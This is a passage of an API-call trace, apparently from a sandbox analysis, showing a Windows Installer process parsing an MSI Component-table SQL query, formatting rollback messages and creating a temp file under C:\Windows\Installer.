lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0127.519] lstrlenW (lpString="Component_Parent") returned 16 [0127.519] lstrlenW (lpString="=") returned 1 [0127.519] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.520] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.520] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.520] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.520] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.520] lstrlenW (lpString="null") returned 4 [0127.520] lstrcmpiW (lpString1="AND", lpString2="OR") returned -1 [0127.520] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.520] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.520] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.520] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.520] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.520] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.520] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.520] lstrlenW (lpString="Component_Parent") returned 16 [0127.520] lstrlenW (lpString="=") returned 1 [0127.520] lstrlenW (lpString="Component") returned 9 [0127.520] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.520] lstrlenW (lpString="ComponentId") returned 11 [0127.520] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.520] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.520] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.520] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.520] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.520] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.520] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.520] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.520] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.520] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.520] lstrlenW (lpString="<>") returned 2 [0127.521] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.521] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.521] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.521] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.521] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.521] lstrlenW (lpString="null") returned 4 [0127.521] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.521] lstrlenW (lpString="ActionRequest") returned 13 [0127.521] lstrlenW (lpString="=") returned 1 [0127.521] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0127.521] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0127.522] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0127.522] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0127.522] lstrlenW (lpString="0") returned 1 [0127.522] lstrlenW (lpString="ComponentId") returned 11 [0127.522] lstrlenW (lpString="BinaryType") returned 10 [0127.522] lstrlenW (lpString="Action") returned 6 [0127.522] GlobalLock (hMem=0xf401a8) returned 0x21dfee0 [0127.522] GlobalUnlock (hMem=0xf401a8) returned 0 [0127.522] GlobalUnlock (hMem=0xf401b8) returned 0 [0127.522] lstrlenW (lpString="SystemFolder") returned 12 [0127.522] lstrlenW (lpString="System64Folder") returned 14 [0127.523] GlobalLock (hMem=0xf401b8) returned 0x2100b00 [0127.523] lstrlenW (lpString=" SELECT `Component`, `ComponentId`, `RuntimeFlags`, `KeyPath`, `ActionRequest`, `Action`, `Directory_`, `Attributes`, `LegacyFileExisted`, `BinaryType`, ?, ? From `Component` WHERE (`Component_Parent` = null OR `Component_Parent` = `Component`) AND `ComponentId` <> null AND (`ActionRequest` = 1 OR `ActionRequest` = 2 OR (`ActionRequest` = null AND (`Action`= 1 OR `Action`= 2))) ") returned 382 [0127.523] lstrlenW (lpString=" SELECT `Component`, `ComponentId`, `RuntimeFlags`, `KeyPath`, `ActionRequest`, `Action`, `Directory_`, `Attributes`, `LegacyFileExisted`, `BinaryType`, ?, ? From `Component` WHERE (`Component_Parent` = null OR `Component_Parent` = `Component`) AND `ComponentId` <> null AND (`ActionRequest` = 1 OR `ActionRequest` = 2 OR (`ActionRequest` = null AND (`Action`= 1 OR `Action`= 2))) ") returned 382 [0127.523] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0127.523] lstrcmpiW (lpString1="SELECT", lpString2="From") returned 1 [0127.523] lstrcmpiW (lpString1="FROM", lpString2="From") returned 0 [0127.523] lstrlenW (lpString="Component") returned 9 [0127.523] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.523] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.523] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.523] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.523] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.523] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.523] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.523] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.523] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.523] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.523] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.523] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.523] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.523] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.524] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.524] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.524] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.524] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.524] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.524] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.524] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.524] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.524] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.524] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.524] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.524] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.524] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.524] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.524] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.524] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.524] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.524] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.524] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.524] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.524] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0127.524] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0127.525] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0127.526] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0127.526] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0127.526] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0127.526] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0127.526] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.526] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.526] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.526] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.526] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.526] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.526] lstrcmpiW (lpString1="SELECT", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="FROM", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="AS", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="WHERE", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="NULL", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="OR", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="AND", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="NOT", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="ORDER", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="BY", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="DISTINCT", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="UPDATE", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="DELETE", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="INSERT", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="INTO", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="SET", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="VALUES", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="IS", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="CREATE", lpString2="2") returned 1 [0127.526] lstrcmpiW (lpString1="DROP", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="ALTER", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="TABLE", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="ADD", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="PRIMARY", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="KEY", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="CHAR", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="CHARACTER", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="VARCHAR", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="LONGCHAR", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="INT", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="INTEGER", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="SHORT", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="LONG", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="OBJECT", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="TEMPORARY", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="HOLD", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="FREE", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="2") returned 1 [0127.527] lstrcmpiW (lpString1="", lpString2="2") returned -1 [0127.527] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.527] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.527] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.527] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.527] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.527] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.527] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.527] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.527] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.527] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.527] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.527] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.528] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.528] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.528] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.528] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.528] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.528] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.528] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0127.528] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0127.529] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0127.529] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.529] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.529] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.529] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.529] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.529] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.529] lstrcmpiW (lpString1="SELECT", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="FROM", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="AS", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="WHERE", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="NULL", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="OR", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="AND", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="NOT", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="ORDER", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="BY", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="DISTINCT", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="UPDATE", lpString2="2") returned 1 [0127.529] lstrcmpiW (lpString1="DELETE", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="INSERT", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="INTO", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="SET", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="VALUES", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="IS", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="CREATE", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="DROP", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="ALTER", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="TABLE", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="ADD", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="PRIMARY", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="KEY", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="CHAR", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="CHARACTER", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="VARCHAR", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="LONGCHAR", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="INT", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="INTEGER", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="SHORT", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="LONG", lpString2="2") returned 1 [0127.530] lstrcmpiW (lpString1="OBJECT", lpString2="2") returned 1 [0127.531] lstrcmpiW (lpString1="TEMPORARY", lpString2="2") returned 1 [0127.531] lstrcmpiW (lpString1="HOLD", lpString2="2") returned 1 [0127.531] lstrcmpiW (lpString1="FREE", lpString2="2") returned 1 [0127.531] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="2") returned 1 [0127.531] lstrcmpiW (lpString1="", lpString2="2") returned -1 [0127.531] lstrlenW (lpString="Component_Parent") returned 16 [0127.531] lstrlenW (lpString="=") returned 1 [0127.531] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.531] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.531] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.531] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.531] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.531] lstrlenW (lpString="null") returned 4 [0127.531] lstrcmpiW (lpString1="AND", lpString2="OR") returned -1 [0127.531] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.531] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.531] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.531] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.531] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.531] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.531] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.531] lstrlenW (lpString="Component_Parent") returned 16 [0127.531] lstrlenW (lpString="=") returned 1 [0127.531] lstrlenW (lpString="Component") returned 9 [0127.531] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.531] lstrlenW (lpString="ComponentId") returned 11 [0127.531] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.532] lstrlenW (lpString="<>") returned 2 [0127.532] lstrlenW (lpString="null") returned 4 [0127.532] lstrlenW (lpString="ActionRequest") returned 13 [0127.532] lstrlenW (lpString="=") returned 1 [0127.532] lstrlenW (lpString="1") returned 1 [0127.532] lstrlenW (lpString="ActionRequest") returned 13 [0127.532] lstrlenW (lpString="=") returned 1 [0127.532] lstrlenW (lpString="2") returned 1 [0127.532] lstrlenW (lpString="ActionRequest") returned 13 [0127.532] lstrlenW (lpString="=") returned 1 [0127.532] lstrlenW (lpString="null") returned 4 [0127.532] lstrlenW (lpString="Action") returned 6 [0127.532] lstrlenW (lpString="=") returned 1 [0127.532] lstrlenW (lpString="1") returned 1 [0127.532] lstrlenW (lpString="Action") returned 6 [0127.532] lstrlenW (lpString="=") returned 1 [0127.532] lstrlenW (lpString="2") returned 1 [0127.532] lstrlenW (lpString="Component") returned 9 [0127.532] lstrlenW (lpString="ComponentId") returned 11 [0127.532] lstrlenW (lpString="RuntimeFlags") returned 12 [0127.532] lstrlenW (lpString="KeyPath") returned 7 [0127.533] lstrlenW (lpString="ActionRequest") returned 13 [0127.533] lstrlenW (lpString="Action") returned 6 [0127.533] lstrlenW (lpString="Directory_") returned 10 [0127.533] lstrlenW (lpString="Attributes") returned 10 [0127.533] lstrlenW (lpString="LegacyFileExisted") returned 17 [0127.533] lstrlenW (lpString="BinaryType") returned 10 [0127.533] lstrlenW (lpString="?") returned 1 [0127.533] lstrlenW (lpString="?") returned 1 [0127.533] GlobalLock (hMem=0xf401a8) returned 0x21dfee0 [0127.533] lstrlenW (lpString="0.7.0.0") returned 7 [0127.533] lstrlenW (lpString="MsiPatchCertificate") returned 19 [0127.533] lstrlenW (lpString="SourceDir") returned 9 [0127.533] lstrlenW (lpString="ProductName") returned 11 [0127.533] lstrlenW (lpString="Rollback") returned 8 [0127.533] lstrlenW (lpString="ActionText") returned 10 [0127.534] lstrlenW (lpString="ProductLanguage") returned 15 [0127.536] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7562, dwLanguageId=0x409, lpBuffer=0x10cdaa0, nSize=0x100, Arguments=0x0 | out: lpBuffer="Rolling back action:\x09[1]\r\n") returned 0x1a [0127.540] lstrlenW (lpString="[1]") returned 3 [0127.540] lstrlenW (lpString="Rolling back action:") returned 20 [0127.541] lstrlenW (lpString="RollbackCleanup") returned 15 [0127.541] lstrlenW (lpString="ActionText") returned 10 [0127.541] lstrlenW (lpString="ProductLanguage") returned 15 [0127.542] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7563, dwLanguageId=0x409, lpBuffer=0x10cdaa0, nSize=0x100, Arguments=0x0 | out: lpBuffer="Removing backup files\x09File: [1]\r\n") returned 0x21 [0127.543] lstrlenW (lpString="File: [1]") returned 9 [0127.543] lstrlenW (lpString="Removing backup files") returned 21 [0127.545] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0127.546] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd810, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0127.546] lstrlenW (lpString="C:\\Windows") returned 10 [0127.546] lstrlenW (lpString="\\") returned 1 [0127.546] lstrlenW (lpString="Installer") returned 9 [0127.546] GetTempFileNameW (in: lpPathName="C:\\Windows\\Installer", lpPrefixString="MSI", uUnique=0x0, lpTempFileName=0x334cd0 | out: lpTempFileName="C:\\Windows\\Installer\\MSI8868.tmp" (normalized: "c:\\windows\\installer\\msi8868.tmp")) returned 0x8868 [0127.547] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10cd9d8, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10cd950 | out: pSid=0x10cd950*=0x377110*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) 